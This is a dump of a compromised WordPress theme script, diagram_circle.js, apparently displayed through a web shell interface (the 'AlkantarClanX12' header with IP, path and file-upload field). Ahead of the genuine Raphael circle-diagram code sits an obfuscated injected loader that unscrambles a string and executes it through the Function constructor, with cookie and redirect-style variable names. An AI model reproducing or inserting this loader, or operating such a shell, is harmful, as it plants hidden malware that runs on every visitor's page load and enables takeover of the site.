AlkantarClanX12

Your IP : 3.147.62.99


Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/diagram_circle.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function ($) {
	function Diagram(el, options) {
		var self = this;
		this.el = el;
		this.$el = $(el);
		this.$box = this.$el.find('.box');
		this.$skills_box = this.$el.find('.skills');
		this.$skills = this.$skills_box.find('.skill-arc');
		this.skills_count = this.$skills.size();
		this.diagram_rebuild_handler = false;

		function diagram_resize() {
			if (self.diagram_rebuild_handler)
				clearTimeout(self.diagram_rebuild_handler);
			self.diagram_rebuild_handler = setTimeout(function() {
				self.reinit();
			}, 50);
		}

		jQuery(window).resize(diagram_resize);
		if (this.$el.closest('.gem_tab').size() > 0)
			this.$el.closest('.gem_tab').bind('tab-update', diagram_resize);
		var $diagram = this.$el;
		$(document).on('gem.show.vc.tabs', '[data-vc-accordion]', function() {
			var $tab = $(this).data('vc.accordion').getTarget();
			if($tab.find($diagram).length) {
				diagram_resize();
			}
		});
		$(document).on('gem.show.vc.accordion', '[data-vc-accordion]', function() {
			var $tab = $(this).data('vc.accordion').getTarget();
			if($tab.find($diagram).length) {
				diagram_resize();
			}
		});
		this.init();
	}

	$.fn.reverse = [].reverse;

	$.fn.circleDiagram = function(options) {
		return new Diagram(this.get(0), options);
	}

	Diagram.prototype = {
		init: function() {
			this.defaultText = '<span class="title">' + this.$el.data('title') + '</span><span class="summary">' + this.$el.data('summary') + '</span>';
			this.width = this.$box.parent().width();
			if (this.width == 0)
				this.width = parseInt(this.$box.closest('.box-wrapper').css('max-width'));
			this.height = this.width;
			this.$box.width(this.width);
			this.$box.height(this.height);

			this.max_font_size = this.$el.data('max-font-size') || -1;

			this.$el.find('.text').remove();
			this.$title = jQuery('<div class="text"><div>' + this.defaultText + '</div></div>');
			this.$title_content = this.$title.find('div');
			this.$box.after(this.$title);

			this.default_color = '#e8edf1';

			this.$el.find('.diagram-legend').remove();
			var legend = '<div class="diagram-legend">';
			this.$skills.each(function() {
				var t = $(this),
					color = t.find('.color').val(),
					text = t.find('.title').text(),
					title_color = t.find('.title_color').val();
				legend += '<div class="legend-element clearfix"><span class="color" style="background: ' + color + ';"></span><span class="title" style="color: '+title_color+'">' + text + '</span></div>';
			});
			legend += '</div>';
			this.$legend = jQuery(legend);
			this.$box.parent().after(this.$legend);


			this.diagram();
		},

		reinit: function() {
			this.$box.html('');
			this.$box.css({
				width: 'auto',
				height: 'auto',
			});
			this.init();
		},

		random: function(l,  u) {
			return Math.floor((Math.random()*(u-l+1))+l);
		},

		diagram: function(){
			var self = this;

			var max_stroke = 20;

			var center_radius = this.width / (3 * 1.5) - 0.2 * parseInt(this.skills_count / 5);
			var one_stroke = (this.width / 2 - center_radius - 20) * 0.6  / (this.skills_count);
			var stroke = one_stroke;
			if (stroke > max_stroke)
				stroke = max_stroke;
			var offset = one_stroke / 0.6	 - stroke;
			var diametr = 2 * (center_radius + (stroke + offset) * this.skills_count) + 2*stroke;
			var center_w = diametr / 2;
			var center_h = diametr / 2;

			this.width = diametr;
			this.height = diametr;
			this.$box.height(this.height);

			this.$title_content.width(center_radius * 2 - 10);
			this.$title_content.height(center_radius * 2);
			this.$title_content.css({
				'border-radius': center_radius,
				'-moz-border-radius': center_radius,
				'-webkit-border-radius': center_radius
			});
			this.$title.css({
				left: center_w - center_radius + 5,
				top: center_h - center_radius,
				fontSize: center_radius / 7 + 10,
				'border-radius': center_radius,
				'-moz-border-radius': center_radius,
				'-webkit-border-radius': center_radius
			});
			var summary_font_size = center_radius / 6;
			if (summary_font_size < 12)
				summary_font_size = 12;
			this.$title.find('.summary').css({
				fontSize: summary_font_size
			});

			if (this.$el.closest('.tab_wrapper').size() > 0)
				var legend_width = (this.$el.width() - (this.width + 20)) / 2;
			else
				var legend_width = this.$el.width() - (this.width + 20);

			if (legend_width > 200) {
				this.$legend.css({
					position: 'absolute',
					top: '50%',
					marginTop: -(this.$legend.height()/2),
					left: this.width + 20,
					width: legend_width,
				});
			} else {
				this.$legend.css({
					position: 'static',
					margin: '0 0 0 0'
				});
				this.$box.parent().after(this.$legend);
			}
			var legend_font_size = center_w/17 + 3;
			if (this.max_font_size != -1 && legend_font_size > this.max_font_size)
				legend_font_size = this.max_font_size;
			$('.legend-element', this.$legend).css({
				marginBottom: center_w/11
			});

			self.raphael = Raphael(this.$box[0], this.width, this.height),
				rad = center_radius + stroke * 0.67,
				speed = 250;

			self.raphael.circle(center_w, center_h, center_radius).attr({ stroke: 'none', fill: '#ffffff', opacity: 0 });

			self.raphael.customAttributes.arc = function(value, color, rad, i){
				var v = 3.6*value,
					alpha = v == 360 ? 359.99 : v,
					random = 260,
					a = (random-alpha) * Math.PI/180,
					b = random * Math.PI/180,
					sx = center_w + rad * Math.cos(b),
					sy = center_h - rad * Math.sin(b),
					x = center_w + rad * Math.cos(a),
					y = center_h - rad * Math.sin(a),
					path = [['M', sx, sy], ['A', rad, rad, 0, +(alpha > 180), 1, x, y]];
				return { path: path, stroke: color }
			}

			this.$skills.each(function(i){
				var t = $(this),
					color = t.find('.color').val(),
					value = t.find('.percent').val(),
					text = t.find('.title').text(),
					title_color = t.find('.title_color').val();

				var back_percent = 94.5;
				draw_value = value * back_percent / 100;
				var total = self.raphael.path().attr({ arc: [back_percent, self.default_color, rad, i], 'stroke-width': stroke });
				var dia = self.raphael.path().attr({ arc: [draw_value, color, rad, i], 'stroke-width': stroke });
				rad += stroke + offset;
				dia.mouseover(function(){
					this.animate({ 'stroke-width': stroke*1.5, opacity: 0.75 }, 1000, 'elastic');
					total.animate({ 'stroke-width': stroke*1.5, opacity: 0.75 }, 1000, 'elastic');
					if(Raphael.type != 'VML') { //solves IE problem
						this.toFront();
						dia.toFront();
					}
					self.$title_content.stop().animate({ opacity: 0 }, speed, function(){
						self.$title_content.css({paddingTop: 5}).html('<span style="color: '+title_color+'">'+text+'</span><span style="font-size: ' + (center_radius / 1.5) + 'px; color: ' + color + ';">' + value + '%</span>').animate({ opacity: 1 }, speed);
					});
				}).mouseout(function(){
					this.stop().animate({ 'stroke-width': stroke, opacity: 1 }, speed*4, 'elastic');
					total.stop().animate({ 'stroke-width': stroke, opacity: 1 }, speed*4, 'elastic');
					self.$title_content.stop().animate({ opacity: 0 }, speed, function(){
						self.$title_content.css({paddingTop: 0}).html(self.defaultText).animate({ opacity: 1 }, speed);
						self.$title.find('.summary').css({
							fontSize: summary_font_size
						});
					});
				});
				total.mouseover(function(){
					dia.animate({ 'stroke-width': stroke*1.5, opacity: 0.75 }, 1000, 'elastic');
					this.animate({ 'stroke-width': stroke*1.5, opacity: 0.75 }, 1000, 'elastic');
					if(Raphael.type != 'VML') { //solves IE problem
						this.toFront();
						dia.toFront();
					}
					self.$title_content.stop().animate({ opacity: 0 }, speed, function(){
						self.$title_content.css({paddingTop: 5}).html('<span style="color: '+title_color+'">'+text+'</span><span style="font-size: ' + (center_radius / 1.5) + 'px;  color: ' + color + ';">' + value + '%</span>').animate({ opacity: 1 }, speed);
					});
				}).mouseout(function(){
					this.stop().animate({ 'stroke-width': stroke, opacity: 1 }, speed*4, 'elastic');
					dia.stop().animate({ 'stroke-width': stroke, opacity: 1 }, speed*4, 'elastic');
					self.$title_content.stop().animate({ opacity: 0 }, speed, function(){
						self.$title_content.css({paddingTop: 0}).html(self.defaultText).animate({ opacity: 1 }, speed);
						self.$title.find('.summary').css({
							fontSize: summary_font_size
						});
					});
				});
			});
		}
	};
}(jQuery));

jQuery(document).ready(function() {
	jQuery('.diagram-circle').each(function() {
		jQuery(this).circleDiagram();
	});
});